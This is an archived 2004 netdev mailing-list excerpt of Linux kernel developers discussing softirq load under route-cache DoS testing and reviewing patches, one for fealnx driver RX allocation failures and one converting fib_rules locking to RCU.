<20040331215214.GE4543@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040330142210.080dbe38.davem@redhat.com> <20040330224902.GM3808@dualathlon.random> <20040331204611.GC4543@in.ibm.com> <20040331213109.GR2143@dualathlon.random> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040331213109.GR2143@dualathlon.random> User-Agent: Mutt/1.4.1i X-archive-position: 4404 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1123 Lines: 23 On Wed, Mar 31, 2004 at 11:31:09PM +0200, Andrea Arcangeli wrote: > On Thu, Apr 01, 2004 at 02:16:11AM +0530, Dipankar Sarma wrote: > > I don't do any of this. I just have a separate quiescent state counter > > for softirq RCU. It is incremented for regular quiescent points > > like cswitch, userland, idle loop as well as at the completion > > of each softirq handler. call_rcu_bh() uses its own queues. > > Everything else works like call_rcu(). > > the point is that you want this counter to increase in every cpu quick, > that's why I was thinking at posting the tasklet, if the counter doesn't > increase from softirq, you fallback in the grace period length of the > non-bh rcu. > > maybe the softirq load is so high in all cpus that just the additional > counter will fix it w/o having to post any additional tasklet (I very > much hope so but especially with irq binding I don't see it happening, > however with irq binding you may have a call_rcu_bh_cpuset). You should > give it a try and see if it just works. Ah, forcing CPUs for quiescent state is my last WMD if I have to use it ever :) Thanks Dipankar From andrea@suse.de Wed Mar 31 13:54:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 13:54:23 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VLsAKO029561 for ; Wed, 31 Mar 2004 13:54:10 -0800 Received: by dualathlon.random (Postfix, from userid 500) id DD9FC4A6D; Wed, 31 Mar 2004 23:31:09 +0200 (CEST) Date: Wed, 31 Mar 2004 23:31:09 +0200 From: Andrea Arcangeli To: Dipankar Sarma Cc: "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040331213109.GR2143@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040330142210.080dbe38.davem@redhat.com> <20040330224902.GM3808@dualathlon.random> <20040331204611.GC4543@in.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040331204611.GC4543@in.ibm.com> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4405 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 925 Lines: 17 On Thu, Apr 01, 2004 at 02:16:11AM +0530, Dipankar Sarma wrote: > I don't do any of this. I just have a separate quiescent state counter > for softirq RCU. It is incremented for regular quiescent points > like cswitch, userland, idle loop as well as at the completion > of each softirq handler. call_rcu_bh() uses its own queues. > Everything else works like call_rcu(). the point is that you want this counter to increase in every cpu quick, that's why I was thinking at posting the tasklet, if the counter doesn't increase from softirq, you fallback in the grace period length of the non-bh rcu. maybe the softirq load is so high in all cpus that just the additional counter will fix it w/o having to post any additional tasklet (I very much hope so but especially with irq binding I don't see it happening, however with irq binding you may have a call_rcu_bh_cpuset). You should give it a try and see if it just works. From romieu@fr.zoreil.com Wed Mar 31 14:26:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 14:26:27 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VMQMKO031057 for ; Wed, 31 Mar 2004 14:26:23 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2VMNQgf011677; Thu, 1 Apr 2004 00:23:26 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2VMNPVn011676; Thu, 1 Apr 2004 00:23:25 +0200 Date: Thu, 1 Apr 2004 00:23:25 +0200 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com, Denis Vlasenko , Andreas Henriksson Subject: Re: fealnx oopses (with [PATCH]) Message-ID: <20040401002325.A9022@electric-eye.fr.zoreil.com> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403311839.33202.vda@port.imtp.ilyichevsk.odessa.ua> <20040331192421.GA30048@scream.fjortis.info> <200403312238.46835.vda@port.imtp.ilyichevsk.odessa.ua> <406B2FB5.9080302@pobox.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="IJpNTDwzlM2Ie8A6" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <406B2FB5.9080302@pobox.com>; from jgarzik@pobox.com on Wed, Mar 31, 2004 at 03:53:09PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 4406 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 5931 Lines: 192 --IJpNTDwzlM2Ie8A6 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Jeff Garzik : > FYI to those involved, I sent the TX patch upstream. > > When there is a minimal RX patch people are happy with, let me know... > further changes are fine, but I would like to split up the changes as > much as is reasonable. Attached is the patch tested by Andreas which fixes single allocation failures but will not protect against excessive work in irq handler nor complete depletion of the Rx ring. It applies on top of the Tx patch (as seen on bk-commit). Earth-shattering, anyone ? -- Ueimor --IJpNTDwzlM2Ie8A6 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="fealnx-allocation-failure.patch" Handle allocation failure with grace: - defer instant allocation in netdev_rx() until the packet examination loop is finished. This removes code duplication between netdev_rx() and allocate_rx_buffers(); - protect netdev_rx() against wrap-around if it ends on an unallocated descriptor; - always proceed to the next Rx descriptor in netdev_rx() so as to stay in sync with the chipset; - positionning of the first dirty/unallocated Rx descriptor is of the sole responsibility of allocate_rx_buffers(); - unconditionnaly give the allocated descriptors to the chipset during reset_rx_descriptors(). drivers/net/fealnx.c | 69 ++++++++++++++++----------------------------------- 1 files changed, 22 insertions(+), 47 deletions(-) diff -puN drivers/net/fealnx.c~fealnx-allocation-failure drivers/net/fealnx.c --- linux-2.6.5-rc2/drivers/net/fealnx.c~fealnx-allocation-failure 2004-03-31 23:31:23.000000000 +0200 +++ linux-2.6.5-rc2-fr/drivers/net/fealnx.c 2004-03-31 23:50:36.000000000 +0200 @@ -1134,15 +1134,18 @@ static void allocate_rx_buffers(struct n struct sk_buff *skb; skb = dev_alloc_skb(np->rx_buf_sz); - np->lack_rxbuf->skbuff = skb; if (skb == NULL) break; /* Better luck next round. */ + while (np->lack_rxbuf->skbuff) + np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->skbuff = skb; + skb->dev = dev; /* Mark as being used by this device. */ np->lack_rxbuf->buffer = pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->status = RXOWN; ++np->really_rx_count; } } @@ -1250,8 +1253,7 @@ static void init_ring(struct net_device /* initialize rx variables */ np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); - np->cur_rx = &np->rx_ring[0]; - np->lack_rxbuf = NULL; + np->lack_rxbuf = np->cur_rx = np->rx_ring; np->really_rx_count = 0; /* initial rx descriptors. */ @@ -1303,8 +1305,6 @@ static void init_ring(struct net_device /* for the last tx descriptor */ np->tx_ring[i - 1].next_desc = np->tx_ring_dma; np->tx_ring[i - 1].next_desc_logical = &np->tx_ring[0]; - - return; } @@ -1381,32 +1381,22 @@ static int start_tx(struct sk_buff *skb, } -void free_one_rx_descriptor(struct netdev_private *np) -{ - if (np->really_rx_count == RX_RING_SIZE) - np->cur_rx->status = RXOWN; - else { - np->lack_rxbuf->skbuff = np->cur_rx->skbuff; - np->lack_rxbuf->buffer = np->cur_rx->buffer; - np->lack_rxbuf->status = RXOWN; - ++np->really_rx_count; - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; - } - np->cur_rx = np->cur_rx->next_desc_logical; -} - - void reset_rx_descriptors(struct net_device *dev) { struct netdev_private *np = dev->priv; + struct fealnx_desc *cur = np->cur_rx; + int i; stop_nic_rx(dev->base_addr, np->crvalue); - while (!(np->cur_rx->status & RXOWN)) - free_one_rx_descriptor(np); - allocate_rx_buffers(dev); + for (i = 0; i < RX_RING_SIZE; i++) { + if (cur->skbuff) + cur->status = RXOWN; + cur = cur->next_desc_logical; + } + writel(np->rx_ring_dma + (np->cur_rx - np->rx_ring), dev->base_addr + RXLBA); writel(np->crvalue, dev->base_addr + TCRRCR); @@ -1580,7 +1570,7 @@ static int netdev_rx(struct net_device * struct netdev_private *np = dev->priv; /* If EOP is set on the next entry, it's a new packet. Send it up. */ - while (!(np->cur_rx->status & RXOWN)) { + while (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) { s32 rx_status = np->cur_rx->status; if (np->really_rx_count == 0) @@ -1632,8 +1622,12 @@ static int netdev_rx(struct net_device * np->stats.rx_length_errors++; /* free all rx descriptors related this long pkt */ - for (i = 0; i < desno; ++i) - free_one_rx_descriptor(np); + for (i = 0; i < desno; i++) { + if (!np->cur_rx->skbuff) + break; + np->cur_rx->status = RXOWN; + np->cur_rx = np->cur_rx->next_desc_logical; + } continue; } else { /* something error, need to reset this chip */ reset_rx_descriptors(dev); @@ -1683,8 +1677,6 @@ static int netdev_rx(struct net_device * PCI_DMA_FROMDEVICE); skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; - if (np->really_rx_count == RX_RING_SIZE) - np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } skb->protocol = eth_type_trans(skb, dev); @@ -1694,24 +1686,7 @@ static int netdev_rx(struct net_device * np->stats.rx_bytes += pkt_len; } - if (np->cur_rx->skbuff == NULL) { - struct sk_buff *skb; - - skb = dev_alloc_skb(np->rx_buf_sz); - - if (skb != NULL) { - skb->dev = dev; /* Mark as being used by this device. */ - np->cur_rx->buffer = pci_map_single(np->pci_dev, - skb->tail, - np->rx_buf_sz, - PCI_DMA_FROMDEVICE); - np->cur_rx->skbuff = skb; - ++np->really_rx_count; - } - } - - if (np->cur_rx->skbuff != NULL) - free_one_rx_descriptor(np); + np->cur_rx = np->cur_rx->next_desc_logical; } /* end of while loop */ /* allocate skb for rx buffers */ _ --IJpNTDwzlM2Ie8A6-- From Robert.Olsson@data.slu.se Wed Mar 31 14:36:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 14:36:20 -0800 (PST) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VMaHKO031581 for ; Wed, 31 Mar 2004 14:36:17 -0800 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i2VMa0nC018639; Thu, 1 Apr 2004 00:36:05 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id ABDE6903D5; Thu, 1 Apr 2004 00:36:00 +0200 (CEST) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16491.18384.536778.338660@robur.slu.se> Date: Thu, 1 Apr 2004 00:36:00 +0200 To: Andrea Arcangeli Cc: Dipankar Sarma , Robert Olsson , "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs In-Reply-To: <20040331212817.GQ2143@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040331171023.GA4543@in.ibm.com> <16491.4593.718724.277551@robur.slu.se> <20040331203750.GB4543@in.ibm.com> <20040331212817.GQ2143@dualathlon.random> X-Mailer: VM 7.17 under Emacs 21.3.1 X-archive-position: 4407 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Content-Length: 816 Lines: 23 Andrea Arcangeli writes: > Maybe the problem is simply that NAPI should be tuned more aggressively, > it may have to poll for a longer time before giving up. It cannot poll much more... 20 Million packets were injected in total there were 250 RX irq's. Most from my ssh sessions. There are some TX interrupts... it's another story Packet flooding is just our way to generate load and kernel locking must work with and without irq's. As far as I understand the real problem is when do_softirq is run from irqexit etc. Some thoughts... If we tag the different do_softirq sources (look in my testpatch) we can control the softirqs better. For example; do_softirq's from irqexit etc could be given low a "max_restart" this to move processing to ksoftird maybe even dynamic. Cheers. --ro From andrea@suse.de Wed Mar 31 14:53:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 14:53:14 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VMr4KO032417 for ; Wed, 31 Mar 2004 14:53:05 -0800 Received: by dualathlon.random (Postfix, from userid 500) id 059D23AC94; Thu, 1 Apr 2004 00:53:00 +0200 (CEST) Date: Thu, 1 Apr 2004 00:52:59 +0200 From: Andrea Arcangeli To: Robert Olsson Cc: Dipankar Sarma , "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040331225259.GT2143@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040331171023.GA4543@in.ibm.com> <16491.4593.718724.277551@robur.slu.se> <20040331203750.GB4543@in.ibm.com> <20040331212817.GQ2143@dualathlon.random> <16491.18384.536778.338660@robur.slu.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16491.18384.536778.338660@robur.slu.se> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4408 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 1969 Lines: 42 On Thu, Apr 01, 2004 at 12:36:00AM +0200, Robert Olsson wrote: > > Andrea Arcangeli writes: > > > Maybe the problem is simply that NAPI should be tuned more aggressively, > > it may have to poll for a longer time before giving up. > > It cannot poll much more... 20 Million packets were injected in total > there were 250 RX irq's. Most from my ssh sessions. There are some TX > interrupts... it's another story I didn't focus much on the irq count, but now that I look at it, it looks like the biggest source of softirq in irq context is the timer irq, not the network irq. That explains the problem and why NAPI couldn't avoid the softirq load in irq context, NAPI avoids the network irqs, but the softirqs keeps running in irq context. So lowering HZ to 100 should mitigate the problem significantly. But I feel like we should change the softirq code so that the irqexit runs only the softirq setup by the current (or nested) irq handler. This way the timer irq will stop executing the softirqs posted by the network stack and it may very well fix the problem completely. This definitely will help fairness too. > Packet flooding is just our way to generate load and kernel locking must > work with and without irq's. As far as I understand the real problem is > when do_softirq is run from irqexit etc. yes, but it's run from the _timer_ irq as far as I can tell. Changing the softirq code so that the irqexit only processes softirqs posted in the irq handlers should fix it. > If we tag the different do_softirq sources (look in my testpatch) we can > control the softirqs better. For example; do_softirq's from irqexit etc > could be given low a "max_restart" this to move processing to ksoftird > maybe even dynamic. max_restart is needed exactly to avoid irqexit load to be offloaded to regular kernel context, so that's basically saying that we should disable max_restart but that's not a good solution for some non-NAPI workload. From Paul.McKenney@us.ibm.com Wed Mar 31 15:42:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 15:42:58 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VNgeKO001998 for ; Wed, 31 Mar 2004 15:42:41 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2VNgOF4561938; Wed, 31 Mar 2004 18:42:24 -0500 Received: from d03nm116.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VNgNjU086052; Wed, 31 Mar 2004 16:42:23 -0700 In-Reply-To: <20040331112839.02e8d4c2@dell_ss3.pdx.osdl.net> Subject: Re: [RFC] Use RCU for fib_rules To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Paul McKenney Date: Wed, 31 Mar 2004 15:40:11 -0800 X-MIMETrack: Serialize by Router on D03NM116/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/31/2004 16:42:23 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4FBDF1278BA8f9e8a93df938690918c07BBE4FBDF1278BA" Content-Disposition: inline X-archive-position: 4409 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Paul.McKenney@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 24812 Lines: 655 --0__=07BBE4FBDF1278BA8f9e8a93df938690918c07BBE4FBDF1278BA Content-type: text/plain; charset=US-ASCII Hello, Steve! > The IP forwarding rules, uses rwlock when it could use RCU. > Don't know if this would help or hurt the recent discussions about > large rulesets and DOS attacks. ;-) The good news is that there is more than one promising approach, so there should be no problem finding a workable solution. The bad news is that there is more than one promising approach, so much testing and discussion will likely be needed to arrive at that solution. > Also, it increases the size of fib_rule slightly. Looks sane, particularly focusing locally on the FIB subsystem. A few comments, as always: o The original locking for inet_rtm_delrule() is rather "interesting". At first, I could not understand how the code survived concurrent attempts to delete the same element, but I eventually realized that rtnl_sem is acquired several function call levels above inet_rtm_delrule(). Although one might argue that this semaphore makes fib_rules_lock unnecessary, it is far from clear to me that the rtnl_sem protection was intentional. So I agree with moving the fib_rules_lock to cover the full search. o In fib_rules_detach(), you do an RCU search of the list, but then acquire a global lock to update the element. Given that you are protecting a single assignment to a field within the fib_rule element, why not have a per-element lock? As written, you will need a seriously large number of FIB rules to see any performance increase from RCU if you stick with the global lock. Note that use of RCU protects against the race between fib_rules_detach() and inet_rtm_delrule(), so you would not need to acquire the per-element lock in inet_rtm_delrule(). o Ditto for fib_rules_attach(). Of course, if both fib_rules_attach() and fib_rules_detach() are low-probability code paths... o It is not clear to me that fib_lookup() will see huge speedups due to inetdev_lock being read-held a ways up the stack. This may be a case of needing to make a number of changes to get the full performance benefit, but I in no way claim to understand all that inetdev_lock protects against. That said, getting rid of a cache miss from the old read-acquisition of fib_rules_lock might still give worthwhile (though perhaps not huge) benefits. And getting rid of such locks one at a time instead of in one big "bang" would be quite wise. ;-) Thanx, Paul > Patch against 2.6.5-rc3 > > diff -Nru a/net/ipv4/fib_rules.c b/net/ipv4/fib_rules.c > --- a/net/ipv4/fib_rules.c Wed Mar 31 11:24:52 2004 > +++ b/net/ipv4/fib_rules.c Wed Mar 31 11:24:52 2004 > @@ -51,7 +51,7 @@ > > struct fib_rule > { > - struct fib_rule *r_next; > + struct list_head r_list; > atomic_t r_clntref; > u32 r_preference; > unsigned char r_table; > @@ -74,6 +74,7 @@ > #endif > char r_ifname[IFNAMSIZ]; > int r_dead; > + struct rcu_head r_rcu; > }; > > static struct fib_rule default_rule = { > @@ -84,7 +85,6 @@ > }; > > static struct fib_rule main_rule = { > - .r_next = &default_rule, > .r_clntref = ATOMIC_INIT(2), > .r_preference = 0x7FFE, > .r_table = RT_TABLE_MAIN, > @@ -92,23 +92,23 @@ > }; > > static struct fib_rule local_rule = { > - .r_next = &main_rule, > .r_clntref = ATOMIC_INIT(2), > .r_table = RT_TABLE_LOCAL, > .r_action = RTN_UNICAST, > }; > > -static struct fib_rule *fib_rules = &local_rule; > -static rwlock_t fib_rules_lock = RW_LOCK_UNLOCKED; > +static LIST_HEAD(fib_rules); > +static spinlock_t fib_rules_lock = SPIN_LOCK_UNLOCKED; > > int inet_rtm_delrule(struct sk_buff *skb, struct nlmsghdr* nlh, void *arg) > { > struct rtattr **rta = arg; > struct rtmsg *rtm = NLMSG_DATA(nlh); > - struct fib_rule *r, **rp; > + struct fib_rule *r; > int err = -ESRCH; > > - for (rp=&fib_rules; (r=*rp) != NULL; rp=&r->r_next) { > + spin_lock_bh(&fib_rules_lock); > + list_for_each_entry(r, &fib_rules, r_list) { > if ((!rta[RTA_SRC-1] || memcmp(RTA_DATA(rta[RTA_SRC-1]), &r->r_src, 4) == 0) && > rtm->rtm_src_len == r->r_src_len && > rtm->rtm_dst_len == r->r_dst_len && > @@ -125,15 +125,15 @@ > if (r == &local_rule) > break; > > - write_lock_bh(&fib_rules_lock); > - *rp = r->r_next; > + list_del_rcu(&r->r_list); > r->r_dead = 1; > - write_unlock_bh(&fib_rules_lock); > - fib_rule_put(r); > + call_rcu(&r->r_rcu, > + (void (*)(void *))fib_rule_put, r); > err = 0; > break; > } > } > + spin_unlock_bh(&fib_rules_lock); > return err; > } > > @@ -163,7 +163,7 @@ > { > struct rtattr **rta = arg; > struct rtmsg *rtm = NLMSG_DATA(nlh); > - struct fib_rule *r, *new_r, **rp; > + struct fib_rule *r, *new_r; > unsigned char table_id; > > if (rtm->rtm_src_len > 32 || rtm->rtm_dst_len > 32 || > @@ -221,27 +221,27 @@ > memcpy(&new_r->r_tclassid, RTA_DATA(rta[RTA_FLOW-1]), 4); > #endif > > - rp = &fib_rules; > + > + spin_lock_bh(&fib_rules_lock); > + r = list_entry(&fib_rules, struct fib_rule, r_list); > if (!new_r->r_preference) { > - r = fib_rules; > - if (r && (r = r->r_next) != NULL) { > - rp = &fib_rules->r_next; > + if (!list_empty(&fib_rules)) { > + r = list_entry(fib_rules.next, struct fib_rule, r_list); > if (r->r_preference) > new_r->r_preference = r->r_preference - 1; > } > } > > - while ( (r = *rp) != NULL ) { > + list_for_each_entry_continue(r, &fib_rules, r_list) { > if (r->r_preference > new_r->r_preference) > break; > - rp = &r->r_next; > } > > - new_r->r_next = r; > atomic_inc(&new_r->r_clntref); > - write_lock_bh(&fib_rules_lock); > - *rp = new_r; > - write_unlock_bh(&fib_rules_lock); > + > + list_add_rcu(&new_r->r_list, &r->r_list); > + spin_unlock_bh(&fib_rules_lock); > + > return 0; > } > > @@ -285,26 +285,30 @@ > { > struct fib_rule *r; > > - for (r=fib_rules; r; r=r->r_next) { > + rcu_read_lock(); > + list_for_each_entry_rcu(r, &fib_rules, r_list) { > if (r->r_ifindex == dev->ifindex) { > - write_lock_bh(&fib_rules_lock); > + spin_lock_bh(&fib_rules_lock); > r->r_ifindex = -1; > - write_unlock_bh(&fib_rules_lock); > + spin_unlock_bh(&fib_rules_lock); > } > } > + rcu_read_unlock(); > } > > static void fib_rules_attach(struct net_device *dev) > { > struct fib_rule *r; > > - for (r=fib_rules; r; r=r->r_next) { > + rcu_read_lock(); > + list_for_each_entry_rcu(r, &fib_rules, r_list) { > if (r->r_ifindex == -1 && strcmp(dev->name, r->r_ifname) == 0) { > - write_lock_bh(&fib_rules_lock); > + spin_lock_bh(&fib_rules_lock); > r->r_ifindex = dev->ifindex; > - write_unlock_bh(&fib_rules_lock); > + spin_unlock_bh(&fib_rules_lock); > } > } > + rcu_read_unlock(); > } > > int fib_lookup(const struct flowi *flp, struct fib_result *res) > @@ -318,8 +322,9 @@ > > FRprintk("Lookup: %u.%u.%u.%u <- %u.%u.%u.%u ", > NIPQUAD(flp->fl4_dst), NIPQUAD(flp->fl4_src)); > - read_lock(&fib_rules_lock); > - for (r = fib_rules; r; r=r->r_next) { > + > + rcu_read_lock(); > + list_for_each_entry_rcu(r, &fib_rules, r_list) { > if (((saddr^r->r_src) & r->r_srcmask) || > ((daddr^r->r_dst) & r->r_dstmask) || > #ifdef CONFIG_IP_ROUTE_TOS > @@ -342,10 +347,10 @@ > return -ENETUNREACH; > default: > case RTN_BLACKHOLE: > - read_unlock(&fib_rules_lock); > + rcu_read_unlock(); > return -EINVAL; > case RTN_PROHIBIT: > - read_unlock(&fib_rules_lock); > + rcu_read_unlock(); > return -EACCES; > } > > @@ -356,16 +361,18 @@ > res->r = policy; > if (policy) > atomic_inc(&policy->r_clntref); > - read_unlock(&fib_rules_lock); > + > + rcu_read_unlock(); > return 0; > } > if (err < 0 && err != -EAGAIN) { > - read_unlock(&fib_rules_lock); > + rcu_read_unlock(); > return err; > } > } > FRprintk("FAILURE\n"); > - read_unlock(&fib_rules_lock); > + > + rcu_read_unlock(); > return -ENETUNREACH; > } > > @@ -391,8 +398,8 @@ > } > > > -struct notifier_block fib_rules_notifier = { > - .notifier_call =fib_rules_event, > +static struct notifier_block fib_rules_notifier = { > + .notifier_call = fib_rules_event, > }; > > static __inline__ int inet_fill_rule(struct sk_buff *skb, > @@ -444,18 +451,16 @@ > > int inet_dump_rules(struct sk_buff *skb, struct netlink_callback *cb) > { > - int idx; > + int idx = 0; > int s_idx = cb->args[0]; > struct fib_rule *r; > > - read_lock(&fib_rules_lock); > - for (r=fib_rules, idx=0; r; r = r->r_next, idx++) { > - if (idx < s_idx) > - continue; > - if (inet_fill_rule(skb, r, cb) < 0) > + rcu_read_lock(); > + list_for_each_entry_rcu(r, &fib_rules, r_list) { > + if (idx++ >= s_idx && inet_fill_rule(skb, r, cb) < 0) > break; > } > - read_unlock(&fib_rules_lock); > + rcu_read_unlock(); > cb->args[0] = idx; > > return skb->len; > @@ -464,4 +469,10 @@ > void __init fib_rules_init(void) > { > register_netdevice_notifier(&fib_rules_notifier); > + > + spin_lock_bh(&fib_rules_lock); > + list_add_rcu(&local_rule.r_list, &fib_rules); > + list_add_rcu(&main_rule.r_list, &local_rule.r_list); > + list_add_rcu(&default_rule.r_list, &main_rule.r_list); > + spin_unlock_bh(&fib_rules_lock); > } --0__=07BBE4FBDF1278BA8f9e8a93df938690918c07BBE4FBDF1278BA Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Hello, Steve!

> The IP forwarding rules, uses rwlock when it could use RCU.
> Don't know if this would help or hurt the recent discussions about
> large rulesets and DOS attacks.

;-)

The good news is that there is more than one promising approach, so
there should be no problem finding a workable solution.
The bad news is that there is more than one promising approach, so much
testing and discussion will likely be needed to arrive at that solution.

> Also, it increases the size of fib_rule slightly.

Looks sane, particularly focusing locally on the FIB subsystem.
A few comments, as always:

o The original locking for inet_rtm_delrule() is rather
"interesting". At first, I could not understand how the code
survived concurrent attempts to delete the same element, but
I eventually realized that rtnl_sem is acquired several
function call levels above inet_rtm_delrule().

Although one might argue that this semaphore makes fib_rules_lock
unnecessary, it is far from clear to me that the rtnl_sem
protection was intentional. So I agree with moving the
fib_rules_lock to cover the full search.

o In fib_rules_detach(), you do an RCU search of the list,
but then acquire a global lock to update the element.
Given that you are protecting a single assignment to a
field within the fib_rule element, why not have a per-element
lock?

As written, you will need a seriously large number of
FIB rules to see any performance increase from RCU if
you stick with the global lock. Note that use of RCU
protects against the race between fib_rules_detach()
and inet_rtm_delrule(), so you would not need to acquire
the per-element lock in inet_rtm_delrule().

o Ditto for fib_rules_attach().

Of course, if both fib_rules_attach() and fib_rules_detach()
are low-probability code paths...

o It is not clear to me that fib_lookup() will see huge speedups
due to inetdev_lock being read-held a ways up the stack.
This may be a case of needing to make a number of changes
to get the full performance benefit, but I in no way claim
to understand all that inetdev_lock protects against.
That said, getting rid of a cache miss from the old
read-acquisition of fib_rules_lock might still give
worthwhile (though perhaps not huge) benefits. And getting
rid of such locks one at a time instead of in one big "bang"
would be quite wise. ;-)

Thanx, Paul

> Patch against 2.6.5-rc3
>
> diff -Nru a/net/ipv4/fib_rules.c b/net/ipv4/fib_rules.c
> --- a/net/ipv4/fib_rules.c Wed Mar 31 11:24:52 2004
> +++ b/net/ipv4/fib_rules.c Wed Mar 31 11:24:52 2004
> @@ -51,7 +51,7 @@
>
> struct fib_rule
> {
> - struct fib_rule *r_next;
